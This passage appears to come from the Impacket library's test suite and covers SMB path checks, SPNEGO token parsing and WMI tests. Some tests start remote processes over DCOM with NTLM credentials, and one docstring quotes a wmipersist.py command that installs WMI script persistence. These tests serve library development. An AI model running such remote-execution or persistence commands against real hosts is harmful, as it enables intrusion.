client.deleteDirectory(self.share_name, join(\"..\", self.share_unjailed_directory))\n\n        # Check authenticated delete directory\n        client.deleteDirectory(self.share_name, self.share_directory)\n        self.assertFalse(exists(join(self.share_path, self.share_directory)))\n\n        # Check unexistent directory directory\n        with assertRaisesRegex(self, SessionError, \"STATUS_NO_SUCH_FILE\"):\n            client.deleteDirectory(self.share_name, \"unexistent\")\n\n        client.close()\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_spnego.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket import smb\n\n\nclass Test(unittest.TestCase):\n\n    def setUp(self):\n        self.negTokenInit = b'\\x60\\x28\\x06\\x06\\x2b\\x06\\x01\\x05\\x05\\x02\\xa0\\x1e\\x30\\x1c\\xa0\\x1a\\x30\\x18\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x1e\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a'\n\n        self.negTokenInit2 = b'\\x60\\x4d\\x06\\x06\\x2b\\x06\\x01\\x05\\x05\\x02\\xa0\\x43\\x30\\x41\\xa0\\x0e\\x30\\x0c\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a\\xa2\\x2f\\x04\\x2d\\x4e\\x54\\x4c\\x4d\\x53\\x53\\x50\\x00\\x01\\x00\\x00\\x00\\x15\\x82\\x08\\x60\\x09\\x00\\x09\\x00\\x20\\x00\\x00\\x00\\x04\\x00\\x04\\x00\\x29\\x00\\x00\\x00\\x57\\x4f\\x52\\x4b\\x47\\x52\\x4f\\x55\\x50\\x4a\\x41\\x43\\x4b'\n\n        self.negTokenResp1 = b'\\xa1\\x82\\x01\\x0b\\x30\\x82\\x01\\x07\\xa0\\x03\\x0a\\x01\\x01\\xa1\\x0c\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a\\xa2\\x81\\xf1\\x04\\x81\\xee\\x4e\\x54\\x4c\\x4d\\x53\\x53\\x50\\x00\\x02\\x00\\x00\\x00\\x1e\\x00\\x1e\\x00\\x38\\x00\\x00\\x00\\x15\\x82\\x8a\\x62\\x29\\x93\\x18\\x15\\x3d\\x3b\\x0d\\x8a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x98\\x00\\x98\\x00\\x56\\x00\\x00\\x00\\x06\\x01\\xb1\\x1d\\x00\\x00\\x00\\x0f\\x57\\x00\\x49\\x00\\x4e\\x00\\x2d\\x00\\x41\\x00\\x36\\x00\\x4b\\x00\\x50\\x00\\x55\\x00\\x30\\x00\\x54\\x00\\x31\\x00\\x52\\x00\\x36\\x00\\x53\\x00\\x02\\x00\\x1e\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x2d\\x00\\x41\\x00\\x36\\x00\\x4b\\x00\\x50\\x00\\x55\\x00\\x30\\x00\\x54\\x00\\x31\\x00\\x52\\x00\\x36\\x00\\x53\\x00\\x01\\x00\\x1e\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x2d\\x00\\x41\\x00\\x36\\x00\\x4b\\x00\\x50\\x00\\x55\\x00\\x30\\x00\\x54\\x00\\x31\\x00\\x52\\x00\\x36\\x00\\x53\\x00\\x04\\x00\\x1e\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x2d\\x00\\x41\\x00\\x36\\x00\\x4b\\x00\\x50\\x00\\x55\\x00\\x30\\x00\\x54\\x00\\x31\\x00\\x52\\x00\\x36\\x00\\x53\\x00\\x03\\x00\\x1e\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x2d\\x00\\x41\\x00\\x36\\x00\\x4b\\x00\\x50\\x00\\x55\\x00\\x30\\x00\\x54\\x00\\x31\\x00\\x52\\x00\\x36\\x00\\x53\\x00\\x07\\x00\\x08\\x00\\x52\\xe8\\x2b\\x20\\x70\\x30\\xcd\\x01\\x00\\x00\\x00\\x00'\n\n        self.negTokenResp2 = b'\\xa1\\x81\\xab\\x30\\x81\\xa8\\xa2\\x81\\xa5\\x04\\x81\\xa2\\x4e\\x54\\x4c\\x4d\\x53\\x53\\x50\\x00\\x03\\x00\\x00\\x00\\x18\\x00\\x18\\x00\\x40\\x00\\x00\\x00\\x18\\x00\\x18\\x00\\x58\\x00\\x00\\x00\\x12\\x00\\x12\\x00\\x70\\x00\\x00\\x00\\x08\\x00\\x08\\x00\\x82\\x00\\x00\\x00\\x08\\x00\\x08\\x00\\x8a\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\x92\\x00\\x00\\x00\\x15\\x82\\x08\\x60\\x24\\x7f\\xec\\x6e\\x53\\x09\\x86\\x8a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x99\\x24\\xd3\\x12\\xd5\\x95\\xe1\\x33\\xba\\xfa\\x00\\x3e\\xe3\\xfd\\x58\\x63\\xbd\\x3e\\x83\\x0d\\x4e\\x71\\xdc\\x57\\x00\\x4f\\x00\\x52\\x00\\x4b\\x00\\x47\\x00\\x52\\x00\\x4f\\x00\\x55\\x00\\x50\\x00\\x74\\x00\\x65\\x00\\x73\\x00\\x74\\x00\\x4a\\x00\\x41\\x00\\x43\\x00\\x4b\\x00\\x32\\xd2\\x67\\xd6\\xa5\\xa9\\x4b\\x97\\x2a\\xaf\\x45\\xee\\x87\\x58\\x0c\\x6d'\n\n        self.negTokenResp3 = b'\\xa1\\x07\\x30\\x05\\xa0\\x03\\x0a\\x01\\x00'\n\n        self.negTokenResp4 = b'\\xa1\\x15\\x30\\x13\\xa0\\x03\\x0a\\x01\\x03\\xa1\\x0c\\x06\\x0a\\x2b\\x06\\x01\\x04\\x01\\x82\\x37\\x02\\x02\\x0a'\n\n    def test_negTokenInit(self):\n        token = smb.SPNEGO_NegTokenInit()\n        token.fromString(self.negTokenInit)\n        self.assertEqual(self.negTokenInit, token.getData())\n\n    def test_negTokenInit2(self):\n        token = smb.SPNEGO_NegTokenInit()\n        token.fromString(self.negTokenInit2)\n        self.assertEqual(self.negTokenInit2, token.getData())\n\n    def test_negTokenResp1(self):\n        token = smb.SPNEGO_NegTokenResp()\n        token.fromString(self.negTokenResp1)\n        self.assertEqual(self.negTokenResp1, token.getData())\n\n    def test_negTokenResp2(self):\n        token = smb.SPNEGO_NegTokenResp()\n        token.fromString(self.negTokenResp2)\n        self.assertEqual(self.negTokenResp2, token.getData())\n\n    def test_negTokenResp3(self):\n        token = smb.SPNEGO_NegTokenResp()\n        token.fromString(self.negTokenResp3)\n        self.assertEqual(self.negTokenResp3, token.getData())\n\n    def test_negTokenResp4(self):\n        token = smb.SPNEGO_NegTokenResp()\n        token['NegState'] = b'\\x03'  # request-mic\n        token['SupportedMech'] = smb.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n        self.assertEqual(self.negTokenResp4, token.getData())\n\n\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_wmi.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Tested so far:\n#   IWbemLevel1Login::EstablishPosition\n#   IWbemLevel1Login::RequestChallenge\n#   IWbemLevel1Login::WBEMLogin\n#   IWbemLevel1Login::NTLMLogin\n#   IWbemServices::OpenNamespace\n#   IWbemServices::ExecQuery\n#   IWbemServices::GetObject\n#   IWbemServices::PutClass\n#   IWbemServices::DeleteClass\n#\n#   Since DCOM is more high level, I'll always use the helper classes\n#\n# Not yet:\n#   IWbemServices::CancelAsyncCall\n#   IWbemServices::QueryObjectSink\n#   IWbemServices::GetObjectAsync\n#   IWbemServices::PutClassAsync\n#   IWbemServices::DeleteClassAsync\n#   IWbemServices::CreateClassEnum\n#   IWbemServices::CreateClassEnumAsync\n#   IWbemServices::PutInstance\n#   IWbemServices::PutInstanceAsync\n#   IWbemServices::DeleteInstance\n#   IWbemServices::DeleteInstanceAsync\n#   IWbemServices::CreateInstanceEnum\n#   IWbemServices::CreateInstanceEnumAsync\n#   IWbemServices::ExecQueryAsync\n#   IWbemServices::ExecNotificationQuery\n#   IWbemServices::ExecNotificationQueryAsync\n#   IWbemServices::ExecMethod\n#   IWbemServices::ExecMethodAsync\n# \n# Shouldn't dump errors against a win7\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport zlib\nimport base64\nimport pytest\nimport unittest\nimport uuid\nfrom tests import RemoteTestCase\n\nfrom impacket.dcerpc.v5.dcom import wmi\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.dcomrt import DCOMConnection\n\n\n@pytest.mark.remote\nclass WMITests(RemoteTestCase, unittest.TestCase):\n\n    def setUp(self):\n        super(WMITests, self).setUp()\n        self.set_transport_config()\n\n    def _connect_wmi(self):\n        namespace = '\\\\\\\\%s\\\\root\\\\cimv2' % self.machine\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)\n        iWbemLevel1Login.RemRelease()\n        return dcom, iWbemServices\n\n\n    @pytest.mark.xfail\n    def test_activation(self):\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLoginClientID)\n        dcom.disconnect()\n\n    def test_IWbemLevel1Login_EstablishPosition(self):\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        resp = iWbemLevel1Login.EstablishPosition()\n        print(resp)\n        dcom.disconnect()\n\n    def test_IWbemLevel1Login_RequestChallenge(self):\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        try:\n            resp = iWbemLevel1Login.RequestChallenge()\n            print(resp)\n        except Exception as e:\n            if str(e).find('WBEM_E_NOT_SUPPORTED') < 0:\n                dcom.disconnect()\n                raise\n        dcom.disconnect()\n\n    def test_IWbemLevel1Login_WBEMLogin(self):\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        try:\n            resp = iWbemLevel1Login.WBEMLogin()\n            print(resp)\n        except Exception as e:\n            if str(e).find('E_NOTIMPL') < 0:\n                dcom.disconnect()\n                raise\n        dcom.disconnect()\n\n    def test_IWbemLevel1Login_NTLMLogin(self):\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        resp = iWbemLevel1Login.NTLMLogin('\\\\\\\\%s\\\\root\\\\cimv2' % self.machine, NULL, NULL)\n        print(resp)\n        dcom.disconnect()\n\n    @pytest.mark.xfail\n    def test_IWbemServices_OpenNamespace(self):\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices = iWbemLevel1Login.NTLMLogin('//./ROOT', NULL, NULL)\n        try:\n            resp = iWbemServices.OpenNamespace('__Namespace')\n            print(resp)\n        except Exception:\n            dcom.disconnect()\n            raise\n        dcom.disconnect()\n\n    def test_IWbemServices_GetObject(self):\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices= iWbemLevel1Login.NTLMLogin('\\\\\\\\%s\\\\root\\\\cimv2' % self.machine, NULL, NULL)\n        iWbemLevel1Login.RemRelease()\n\n        classObject, _ = iWbemServices.GetObject('Win32_Process')\n       \n        dcom.disconnect()\n\n    def test_IWbemServices_ExecQuery(self):\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices = iWbemLevel1Login.NTLMLogin('\\\\\\\\%s\\\\root\\\\cimv2' % self.machine, NULL, NULL)\n        #classes = [ 'Win32_Account', 'Win32_UserAccount', 'Win32_Group', 'Win32_SystemAccount', 'Win32_Service']\n        classes = ['Win32_Service']\n        for classn in classes:\n            print(\"Reading %s \" % classn)\n            try:\n                iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from %s' % classn)\n                done = False\n                while done is False:\n                    try:\n                        iEnumWbemClassObject.Next(0xffffffff,1)\n                    except Exception as e:\n                        if str(e).find('S_FALSE') < 0:\n                            print(e)\n                        else:\n                            done = True\n                            pass\n            except Exception as e:\n                if str(e).find('S_FALSE') < 0:\n                    print(e)\n        dcom.disconnect()\n\n    def test_IWbemServices_ExecMethod(self):\n        dcom = DCOMConnection(self.machine, self.username, self.password, self.domain, self.lmhash, self.nthash)\n        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n        iWbemServices = iWbemLevel1Login.NTLMLogin('\\\\\\\\%s\\\\root\\\\cimv2' % self.machine, NULL, NULL)\n\n        #classObject,_ = iWbemServices.GetObject('WinMgmts:Win32_LogicalDisk='C:'')\n        classObject, _ = iWbemServices.GetObject('Win32_Process')\n        obj = classObject.Create('notepad.exe', 'c:\\\\', None)\n        handle = obj.getProperties()['ProcessId']['value']\n        \n        iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Process where handle = %s' % handle)\n        oooo = iEnumWbemClassObject.Next(0xffffffff, 1)[0]\n        #import time\n        #time.sleep(5)\n        oooo.Terminate(1)\n\n        #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Group where name = \"testGroup0\"')\n        #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]\n        #import time\n        #owner = oooo.Rename('testGroup1')\n\n        #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = \"Users\"')\n        #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]\n        #import time\n        #owner = oooo.GetAccessMask()\n        #print owner.getProperties()\n\n        #iEnumWbemClassObject = iWbemServices.ExecQuery('SELECT * from Win32_Share where name = \"Users\"')\n        #oooo = iEnumWbemClassObject.Next(0xffffffff,1)[0]\n        #obj = oooo.SetShareInfo(0, 'HOLA BETO', None)\n\n        #classObject,_ = iWbemServices.GetObject('Win32_ShadowCopy')\n        #obj = classObject.Create('C:\\\\', 'ClientAccessible')\n        #print obj.getProperties()\n\n        # this one doesn't work\n        #classObject,_ = iWbemServices.GetObject('Win32_Service')\n        #obj = classObject.Create('BETOSERVICE', 'Beto Service', 'c:\\\\beto', 16, 0, 'Manual', 0, None, None, None, None, None)\n        #print obj.getProperties()\n\n        dcom.disconnect()\n\n    def test_IWbemServices_PutClass(self):\n        dcom, iWbemServices = self._connect_wmi() \n\n        className = \"DummyClass\"\n        attrName = \"Country\"\n        attrValue = \"USA\"\n        try:\n            dummyClass, _ = iWbemServices.GetObject('')\n            dummyClass.setClassName(className)\n            dummyClass.addNewAttribute(attrName, wmi.CIM_TYPE_ENUM.CIM_TYPE_STRING, attrValue)\n\n            _ = iWbemServices.PutClass(dummyClass.marshalMe(), wmi.WBEM_FLAG_CREATE_ONLY)\n            createdClass,_ = iWbemServices.GetObject(className)\n            props = createdClass.getProperties()\n            self.assertIn(attrName,props)\n            self.assertEqual(props[attrName]['stype'],'string')\n        finally:\n            _ = iWbemServices.DeleteClass(className)\n\n            dcom.disconnect()\n\n    def test_IWbemServices_PutClass_update_adds_property(self):\n        dcom, iWbemServices = self._connect_wmi()\n        className = \"DummyClass_%s\" % uuid.uuid4().hex\n        try:\n            dummyClass, _ = iWbemServices.GetObject('')\n            dummyClass.setClassName(className)\n            dummyClass.addNewAttribute(\"Code\", wmi.CIM_TYPE_ENUM.CIM_TYPE_STRING, \"EN\")\n            iWbemServices.PutClass(dummyClass.marshalMe(), wmi.WBEM_FLAG_CREATE_ONLY)\n\n            fetchedClass, _ = iWbemServices.GetObject(className)\n            fetchedClass.addNewAttribute(\"Number\", wmi.CIM_TYPE_ENUM.CIM_TYPE_UINT32, 123)\n            iWbemServices.PutClass(fetchedClass.marshalMe(), wmi.WBEM_FLAG_UPDATE_ONLY)\n\n            roundTrip, _ = iWbemServices.GetObject(className)\n            props = roundTrip.getProperties()\n            self.assertIn(\"Code\", props)\n            self.assertIn(\"Number\", props)\n            self.assertEqual(props[\"Number\"][\"stype\"], \"uint32\")\n        finally:\n            _ = iWbemServices.DeleteClass(className)\n            dcom.disconnect()\n\n\n    def test_IWbemServices_DeleteClass_missing(self):\n        dcom, iWbemServices = self._connect_wmi()\n\n        missingClass = \"MissingClass_%s\" % uuid.uuid4().hex\n\n        try:\n            resp = iWbemServices.DeleteClass(missingClass)\n        except Exception as exc:\n            self.assertIn('WBEM_E_NOT_FOUND', str(exc))\n        else:\n            status = resp.GetCallStatus(0) & 0xffffffff \n            self.assertEqual(status, wmi.WBEMSTATUS.WBEM_E_NOT_FOUND)\n\n        dcom.disconnect()\n\n\nclass WMIOfflineTests(unittest.TestCase):\n\n    @staticmethod\n    def createIWbemClassObject(b64_compressed_obj_ref):\n        obj_ref = zlib.decompress(base64.b64decode(b64_compressed_obj_ref))\n        interface = wmi.INTERFACE(objRef=obj_ref, target='')\n        return wmi.IWbemClassObject(interface, interface)  # Use the same interface as a iWbemServices mock\n\n    def assertIWbemClassObjectAttr(self, _object, attribute_name, expected_value):\n        actual_value = getattr(_object, attribute_name)\n        self.assertEqual(expected_value, actual_value, '{}.{} is {!r}, but was expecting {!r}'.format(\n            _object.getClassName(), attribute_name, actual_value, expected_value\n        ))\n\n    def test_win32_current_time_class_parsing(self):\n        \"\"\"\n        https://docs.microsoft.com/en-us/previous-versions/windows/desktop/wmitimepprov/win32-currenttime\n        Parse a Win32_CurrentTime instance object, response for the 'Select * from Win32_UTCTime' WMI query\n\n        The data was obtained by running the following command while patching impacket.dcerpc.v5.dcomrt.INTERFACE:\n        echo 'Select * from Win32_UTCTime' | wmiquery.py username:password@x.x.x.x -file -\n\n        The following lines were added in the impacket.dcerpc.v5.dcomrt.INTERFACE class constructor:\n        https://github.com/fortra/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcomrt.py#L1111-L1112\n        if objRef and b'Win32_CurrentTime' in objRef:\n            import base64, textwrap, zlib\n            print('\\n'.join(textwrap.wrap(base64.b64encode(zlib.compress(objRef)), 96)))\n\n        Target's time had previously been set to 00:00 UTC\n        \"\"\"\n        current_time_obj = self.createIWbemClassObject('''\n        eJzNks8vA0EUx7/bVutXQotEQkPSJg4Sh1YcnCTVhFC/WopIpKmhGzWbbHeFOCAcSBzEwR/g4ODmJP4CN5x6EiccHcWNN7Ok\n        I/bg6CWfnTcvn7d5szup5HjWB2D3PPSwXboLHqRwgZGeaOj9ONkfvg8edjh7UlD2AhszvaFbWv1IJ2eSY7N9vYBpGNZCXl9b\n        j6HghRPdRJtIsjqPxxYTtmkybmX0NYYmqnYRAWBHq6Pk48NPKaopbSAiRNyp19KzR2yJeYIRR8QJcU3cEK/EGxHWgCgxQmSI\n        LWKPuCCuiEfiSRNv/XOcemgs5wDTmYQc3tkmikZ+dcI01vUlZgJpna8UmWVwYDC3iaYBwCOPIyJI0Dl2IqIwJSq2zq14TLrj\n        y1nGVmWHF/VuHftqx5Bhm1L2o9VNvlTllF4s6iWWN/hSSTbVIOrW9PKzidsWk3oA7W56i6bqBrcK0tbgc7MTqj1p50yLOSeo\n        QrObX1L9tBxe6tXodNPPVF18ymFeGcmHRreestozx3LOPJX4IXs9ivx/YrSS1j8HxH2AvHAehe+IfK3i/2gN+H2lgU8VG67O\n        ''')\n        self.assertIWbemClassObjectAttr(current_time_obj, 'Year', 2021)\n        self.assertIWbemClassObjectAttr(current_time_obj, 'Month', 6)\n        self.assertIWbemClassObjectAttr(current_time_obj, 'Day', 8)\n        self.assertIWbemClassObjectAttr(current_time_obj, 'DayOfWeek', 2)\n        self.assertIWbemClassObjectAttr(current_time_obj, 'Hour', 0)\n        self.assertIWbemClassObjectAttr(current_time_obj, 'Minute', 0)\n        self.assertIWbemClassObjectAttr(current_time_obj, 'Second', 35)\n        # According to the Win32_CurrentTime class documentation, the Milliseconds property is not returned / used, the\n        # PowerShell \"gwmi win32_currenttime\" command output shows it empty indicating it is $null, so it should be None\n        self.assertIWbemClassObjectAttr(current_time_obj, 'Milliseconds', None)\n\n    def test_wmi_persist_classes_parsing(self):\n        \"\"\"\n        Parse several objects created thorough SpawnInstance in wmipersist.py\n\n        The data was obtained by running the following command while patching IWbemClassObject.SpawnInstance():\n        wmipersist.py username:password@x.x.x.x -debug install -name ASEC -timer 1000 -vbs toexec.vbs\n\n        The following lines were added in the impacket.dcerpc.v5.dcom.wmi.IWbemClassObject.SpawnInstance():\n        https://github.com/fortra/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcom/wmi.py#L2557\n        import base64, textwrap, zlib\n        print('\\n'.join(textwrap.wrap(base64.b64encode(zlib.compress(objRefCustomIn.getData())), 96)))\n        \"\"\"\n\n        # NOTE: I think these shouldn't be strings, see impacket.dcerpc.v5.dcom.wmi.ENCODED_VALUE.getValue() and\n        # impacket.dcerpc.v5.dcom.wmi.CLASS_PART.getProperties() (links below). I won't change that code since I\n        # don't know the potential splash damage. If you've changed it and found yourself trying to figure out why\n        # does this test fail, just delete this comment, remove string quotes, and inline the following variables\n        # https://github.com/fortra/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcom/wmi.py#L341-L344\n        # https://github.com/fortra/impacket/blob/impacket_0_9_22/impacket/dcerpc/v5/dcom/wmi.py#L568-L569\n        default_creator_sid = '[1, 1, 0, 0, 0, 0, 0, 5, 18, 0, 0, 0]'\n        false = 'False'\n\n        # ActiveScriptEventConsumer - https://docs.microsoft.com/en-us/windows/win32/wmisdk/activescripteventconsumer\n        asec_obj = self.createIWbemClassObject('''\n        eJy1k89r1EAUx7/Z7db6AzS7FpRaq1bpSQuuoHhSdrNLKetis1gKwpqmwzqQTCSZKVsvxpvevIlexIsH8eS/4UHBqxcPIp68\n        6qm+mezWrARvHfgwM2/yvu87L0nH6a5PAXj8pvrlUfLRftLBW6xeOl/99cy5Pv/JfrqQ7ekR/CgDwztXql9pnkaz1W623Lbb\n        bDvAWrfbu5uozcSP+QPJI4FBGdk4Rzh60e8720zIRiQSFbIYdhZcEVvc93TOGgs8ybYwmx24O4lkYSPwkgRHKaKfn9NHWvkg\n        mZ6heZFYJu4RIfGKeEd8Jr4RSxZwkegTEfGaeE/8Jiolis3ujsZV2u3+M3S1lyWkuOlLvs1cc7vJWyCIfC9gQCNmnoxid6UJ\n        m9yUjD3SxCniEJAu6sBG5j+tH4YuB8WFvAas8iDo8ZBFSqJGJwdMVjmXXdbZzwm6eIpcdv0y0PH8+1ywW17IMHNj1HhT3M4X\n        /6CjiYy5GOicIQ9VeFsxxVz+kKFGiZaWN4mn84k2deskUdebM7TYq6wElwmwuSMZTZkB4/xIkf91S5dAWhv5H3vJGtviARNj\n        hWmcKFJ4YU12YFKBlo4YUCeMxBSOjSSW8hLfSeKnvkMmUaQmItkXKgjGuj02lEayguNFrpZLha50DyzLvItKFfsyNv4u53Lh\n        eWKBOIvsF4FpB7m5gP9/zXvjDwGExJk=\n        ''')\n        self.assertIWbemClassObjectAttr(asec_obj, 'CreatorSID', default_creator_sid)  # see comments on variable\n        self.assertIWbemClassObjectAttr(asec_obj, 'KillTimeout', 0)\n        self.assertIWbemClassObjectAttr(asec_obj, 'MachineName', '')\n        self.assertIWbemClassObjectAttr(asec_obj, 'MaximumQueueSize', 0)\n        self.assertIWbemClassObjectAttr(asec_obj, 'Name', '')\n        self.assertIWbemClassObjectAttr(asec_obj, 'ScriptingEngine', '')\n        self.assertIWbemClassObjectAttr(asec_obj, 'ScriptFilename', '')\n        self.assertIWbemClassObjectAttr(asec_obj, 'ScriptText', '')\n\n        # __IntervalTimerInstruction - https://docs.microsoft.com/en-us/windows/win32/wmisdk/--intervaltimerinstruction\n        iti_obj = self.createIWbemClassObject('''\n        eJy9UbFOAkEQfYAxRBINh1aiFtrYWIiVNkY5LsQQDEe0MZLjWM3isUdu91ATEzE22ukX2Fn4EbaW8gF+iLHBWQ6vsbBzkrc3\n        Ozv79r25ilk9nABw82x8XMv37F0FL9hbWzE+H8zNhUH2finaUwuCJHBxsGG06TuJYskqlmzLLlomUKtW60cybEo34F3FfYHp\n        JKLIEI510mjUeYcFZSFVELqjptmobvaYUBYTLHCUH8CIqmXR4q6j+2rMcxRrYS46sC+lYp1dz5ESM1TR+lOEPKFAeCQ8Ed4I\n        A8L8kALQq0qgP6JWLOg53i9B+DnZYeqcMTFSJpEjliR5jt5aJUwB/VSakrYeDCGnfQ6HVzrV9VutNeRCFdYB4auGCD2PKoIT\n        Hzrc87hkri9atLPPeLd8sk9+yGRmG0jEnrLjt5Y156vmbPq+xxySGolvIb09nnQ8hPjCFzQX+oVIHMgoF6f4/9iKs3ycaYuJ\n        RfzxQ/AN/wuDfg==\n        ''')\n        self.assertIWbemClassObjectAttr(iti_obj, 'IntervalBetweenEvents', 0)\n        self.assertIWbemClassObjectAttr(iti_obj, 'SkipIfPassed', false)  # see comments on variable\n        self.assertIWbemClassObjectAttr(iti_obj, 'TimerId', '')\n\n        # __EventFilter - https://docs.microsoft.com/en-us/windows/win32/wmisdk/--eventfilter\n        ef_obj = self.createIWbemClassObject('''\n        eJydkr9Lw0AUx1/6C1GhJrWIP4oOjlIcHMRNmrSUtpY2oghCONOjBGpachdpJ3XTrYObzg4ujk7+DfoHuDs6KW71XRJtaDv5\n        4JN7d/e+975HrqJVD2MAcHmvvJ2zF/mqAg9Qyq4r331tJ/MqX6/6cyyBuwhA92BLucExAWq+oOb1gq4WNIB6tbp/zNwTZjpW\n        h1ttG7IR8GMJ2RSJYRTthmUSsV2nLcJpA9L+ht5jnJ7mWoQxSOKKcJRARL6MlJEj5ALpI0/IM/KBfCEZCWADqX0OMHTMBiNx\n        K6HYMLQzavO81eLUAcg5lPC2oxdVkNcAJK+tsL2CTGO36BQmeDuI4iQ1A+JYcC2bb+OyOGnXNClaFmVxmA/UcljdFRdk3LHs\n        ZqDZI6eUdYhJPVkM5ibJHsMyofCK/Rhz+A7C/NDhr67mUqfnCaMwO6lLWgp18arLxG66pOm3iwTfEVUppBLHSpJnK67A/0Mb\n        pslgFD1TwiSyAP6bkBZh/Df+xQ8W2n+V\n        ''')\n        self.assertIWbemClassObjectAttr(ef_obj, 'CreatorSID', None)\n        self.assertIWbemClassObjectAttr(ef_obj, 'EventAccess', '')\n        self.assertIWbemClassObjectAttr(ef_obj, 'EventNamespace', '')\n        self.assertIWbemClassObjectAttr(ef_obj, 'Name', '')\n        self.assertIWbemClassObjectAttr(ef_obj, 'Query', '')\n        self.assertIWbemClassObjectAttr(ef_obj, 'QueryLanguage', '')\n\n        # __FilterToConsumerBinding - https://docs.microsoft.com/en-us/windows/win32/wmisdk/--filtertoconsumerbinding\n        ftcb_obj = self.createIWbemClassObject('''\n        eJydks9rE0EUx79pqi22VLOlINhSDx68KOIPKIUWNJuEUEO0G/RSWLabaR2YzrQzs2lXEONNb0L/BwUPHnr14sGz+gd48q5H\n        9Rbf7MY00OjBB5/Z2Z33vvPe29eoNB+OA3j2yvvy1HwqPW/gDdauXvJ+vawsL3wuvVjM38kFrSJw8OCmd5eep+FXa341qAV+\n        rQKsN5utDZNsmljzXcuVxNcx5HaeuOY2YViXbR5H7nidiciyNubygyA1lu2URWQMztIXxwVidoqWXm+C1svEdWKPeEK8JT4Q\n        hQIwQ9wiVojHxCHxjvhIzL3vDVme0g/6vjqGLt1c5cIy3VJlJU2yw/QdTjnKbeC2MSrmWbLAn1NsuRvhGubKmyfOAN3iJG02\n        siN0+zlDs63lMKx0mLSDcJQ1i6zSQd1H6aLrojdK6jVRHJJKuLRLgM8E7zAdpDJ+pJVUiREppjLf6VEy34mfx13EplKCRVSO\n        